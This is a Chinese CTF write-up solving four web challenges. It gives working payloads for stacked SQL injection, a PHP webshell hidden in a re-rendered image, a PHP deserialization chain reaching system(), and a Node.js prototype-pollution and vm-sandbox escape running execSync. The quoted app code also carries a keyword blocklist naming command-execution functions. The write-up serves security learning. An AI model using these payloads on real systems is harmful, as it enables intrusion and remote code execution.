前言
比赛太多没什么时间打,第二周论题目大概是几个新生赛里难度最高的,虽然hint给的多(
最后web完成度:2/4
Web
ez_sqli
堆叠注入+报错注入
测试一下发现过滤了select,database,update等及其大小写,可以考虑用十六进制编码来执行
还发现空格会被自动删除,那么用/**/
代替
Hint 2: 堆叠注入 (cursor.execute() 能够执行多条 SQL 语句)
Hint 3: 关键词: set prepare execute
Hint 6: 尝试通过 set 设置一个变量 其内容为待执行的 SQL 语句 然后使用 prepare + execute 来执行该 SQL 语句 (你可能需要通过某些方法对 SQL 语句进行编码或者拼接以绕过关键词检测)
Hint 8: 堆叠注入的结果不会回显 你需要报错注入/时间盲注
爆数据库:select updatexml(1,concat('^',(database()),'^'),1)
?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c2864617461626173652829292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;
Hint 4: flag 位置: select flag from flag
直接读flag
?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c2873656c65637420666c61672066726f6d20666c6167292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;
读取后半段:select updatexml(1,concat('^',substr((select flag from flag),31,50),'^'),1)
?order=id;SeT@a=0x73656c65637420757064617465786d6c28312c636f6e63617428275e272c737562737472282873656c65637420666c61672066726f6d20666c6167292c33312c3530292c275e27292c3129;prepare/**/execsql/**/from/**/@a;execute/**/execsql;
flag:0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}
ez_upload
二次渲染文件上传
upload.php
<?php
error_reporting(0);
session_start();
$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';
if (!file_exists($user_dir)) {
mkdir($user_dir);
}
switch ($_FILES['file']['type']) {
case "image/gif":
$source = imagecreatefromgif($_FILES['file']['tmp_name']);
break;
case "image/jpeg":
$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
break;
case "image/png":
$source = imagecreatefrompng($_FILES['file']['tmp_name']);
break;
default:
die('Invalid file type!');
}
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;
switch ($_FILES['file']['type']) {
case "image/gif":
imagegif($source, $filepath);
break;
case "image/jpeg":
imagejpeg($source, $filepath);
break;
case "image/png":
imagepng($source, $filepath);
break;
default:
die('Invalid file type!');
}
echo 'Upload avatar success! Path: '.$filepath;
$_SESSION['avatar'] = $filepath;
?>
Hint 2:代码中的 imagecreatefromXXX 和 imageXXX 函数来源于 PHP 的 GD 库
Hint 3: GD 库会对图片进行二次渲染
Hint 5:代码并没有限制上传文件的后缀
结合这几个hint,解题思路就很明显了
上传一个二次渲染的png图片,抓包改成php后缀直接上传(注:不要发到重放器里上传)
访问对应路径,然后就拿到shell了
ez_unserialize(复现)
这题的思路不同于以往按顺序写exp链子,很迷,还没有完全理解
<?php
show_source(__FILE__);
class Cache
{
public $key;
public $value;
public $expired;
public $helper;
public function __construct($key, $value, $helper)
{
$this->key = $key;
$this->value = $value;
$this->helper = $helper;
$this->expired = False;
}
public function __wakeup()
{
$this->expired = False;
}
public function expired()
{
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}
class Storage
{
public $store;
public function __construct()
{
$this->store = array();
}
public function __set($name, $value)
{
if (!$this->store) {
$this->store = array();
}
if (!$value->expired()) {
$this->store[$name] = $value;
}
}
public function __get($name)
{
return $this->data[$name];
}
}
class Helper
{
public $funcs;
public function __construct($funcs)
{
$this->funcs = $funcs;
}
public function __call($name, $args)
{
$this->funcs[$name](...$args);
}
}
class DataObject
{
public $storage;
public $data;
public function __destruct()
{
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}
if (isset($_GET['u'])) {
unserialize($_GET['u']);
}
- Hint 4: 调用链:
DataObject.__destruct -> Storage.__set -> Cache.expired() -> Helper.__call
对于DataObject::__destruct
,foreach语句能遍历data的内容,将key和value赋值给storage,这里可以被视为给data的属性storage赋值,触发 Storage::__set
方法
class DataObject
{
public $storage;
public $data;
public function __destruct()
{
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}
对于Storage::__set
,store在无参构造函数__construct
下被初始化为空数组,然后检查store是否为空,是的话就初始化为空数组;接着检查$value->expired()
,如果返回False,则会存入store数组
class Storage
{
public $store;
public function __construct()
{
$this->store = array();
}
public function __set($name, $value)
{
if (!$this->store) {
$this->store = array();
}
if (!$value->expired()) {
$this->store[$name] = $value;
}
}
public function __get($name)
{
return $this->data[$name];
}
}
对于Cache::expired()
,先判断类内部的expired属性是否为True,如果为True则会调用不存在的clean
方法,从而触发__call
class Cache
{
public $key;
public $value;
public $expired;
public $helper;
public function __construct($key, $value, $helper)
{
$this->key = $key;
$this->value = $value;
$this->helper = $helper;
$this->expired = False;
}
public function __wakeup()
{
$this->expired = False;
}
public function expired()
{
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}
对于Helper::__call
,按照传入的name从funcs数组中取出对应的函数名,然后将args作为参数,动态调用这个函数
class Helper
{
public $funcs;
public function __construct($funcs)
{
$this->funcs = $funcs;
}
public function __call($name, $args)
{
$this->funcs[$name](...$args);
}
}
- Hint 5: 尝试向 DataObject 中放入 cache1 和 cache2 并使得
$storage->store = &$cache2->expired
最终通过调用 cache2 的 expired 方法实现 RCE
根据这个hint,我们应该是要给DataObject的data传入数组,其中有两个键,值分别为cache1和cache2,并使$storage->store = &$cache2->expired
- Hint 2: 你可以通过 PHP 的引用来绕过 __wakeup (https://www.php.net/manual/zh/language.references.php)
- Hint 3: 尝试将 Cache 的 expired 字段的引用赋值给另外一个变量
因为反序列化时, 首先会调用两个Cache的__wakeup
方法, 将各自的expired
属性设置为False,而要想触发Helper::__call
就得调用clean,要想调用clean就得使expired
的属性为True,也就是说要绕过__wakeup
,而这里得在逻辑上进行绕过,在__wakeup
执行结束之后再对expired
赋值为True
要实现这个操作就要利用php的引用,首先初始化一个cache1让store
(即 cache1 的expired
属性)不为空,然后再初始化cache2,此时cache2的expired
字段, 也就是上⾯的store
, 已经被设置成了⼀个数组,并且数组中存在 cache1 (不为空),因此这⾥if ($this->expired)
的结果为 True,最后再把这个cache2的expired属性引用给storage的store,由它来调用Cache::expired()
接着实现RCE
这是反序列化后几个对象的值与属性,用于参考
object(DataObject)#7 (2)
{
["storage"]=>
object(Storage)#8 (1)
{
["store"]=>
&bool(false)
}
["data"]=>
array(2) {
["key1"]=>
object(Cache)#9 (4)
{
["key"]=>
NULL
["value"]=>
NULL
["expired"]=>
bool(false)
["helper"]=>
NULL
}
["key2"]=>
object(Cache)#10 (4)
{
["key"]=>
string(2) "ls"
["value"]=>
NULL
["expired"]=>
&bool(false)
["helper"]=>
object(Helper)#11 (1)
{
["funcs"]=>
array(1)
{
["clean"]=>
string(6) "system"
}
}
}
}
}
exp:
<?php
class Cache
{
public $key;
public $value;
public $expired;
public $helper;
public function __construct()
{
$this->expired = False;
}
}
class Storage
{
public $store;
public function __construct()
{
$this->store = array();
}
}
class Helper
{
public $funcs;
public function __construct($funcs)
{
$this->funcs = $funcs;
}
}
class DataObject
{
public $storage;
public $data;
}
$cache2 = new Cache();
$cache2->helper = new Helper(array('clean' => 'system'));
$cache2->key = 'ls';
$a = new DataObject();
$a->data = array('key1' => new Cache(), 'key2' => $cache2);
$a->storage = new Storage();
$a->storage->store=&$cache2->expired;
echo serialize($a);
真的有点难,感觉还是讲不清楚。。
ez_sandbox(复现)
原型链污染 + vm沙箱逃逸
const crypto = require('crypto')
const vm = require('vm');
const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')
var app = express()
app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(source) {
return merge({}, source)
}
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})
app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})
app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
app.post('/register', function(req, res) {
let { username, password } = clone(req.body)
if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})
app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})
app.listen(3000, function() {
console.log('server start listening on :3000')
})
首先是原型链污染的部分
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(source) {
return merge({}, source)
}
ban了__proto__
,我们可以用obj.constructor.prototype
来代替
代码在注册和登录的时候使用了 clone(req.body)
跟踪到/login路由
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
只要username的值在admins对象里就能以admin身份登录
那么就要构造原型链污染,先在/register路由下面注册一个账号,然后来到/login路由
登录时抓包修改post请求体,来污染admins
{
"username":"kami",
"password":"123456",
"constructor": {
"prototype": {
"kami": "123"
}
}
}
本地测试:
在merge处下断点,可以看到users里面是我们注册的账号和密码,admins是空的
f11单步调试到merge开始遍历第二个kami,再次跟进一个循环
users.__proto__
原型成功被赋值
此时admins对象的原型的值成功被污染了
从而达到了username in admins
的目的
于是成功以admin登录
接下来是vm沙箱的部分
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
- Hint 2: vm 沙箱逃逸 (arguments.callee.caller)
可以注意到这里的let sandbox = Object.create(null)
,此时this为null,所以得利用arguments.callee.caller
- Hint 4: 通过 JavaScript 的 Proxy 类或对象的
__defineGetter__
方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数
同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性
- Hint 3: 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message)
同时我们注意到这里执行code后没有返回输出任何值,但是有try-catch
语句,所以我们还需要用到异常处理,利用console.log将报错信息和rce的回显一起带出来
接着跟踪到waf
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
这里都是对关键词过滤,可以用JavaScript的特性:中括号 + 字符串拼接的形式绕过
所以最终的payload:
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('ls').toString();
}
})
官方wp也给了__defineGetter__
方法的payload
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj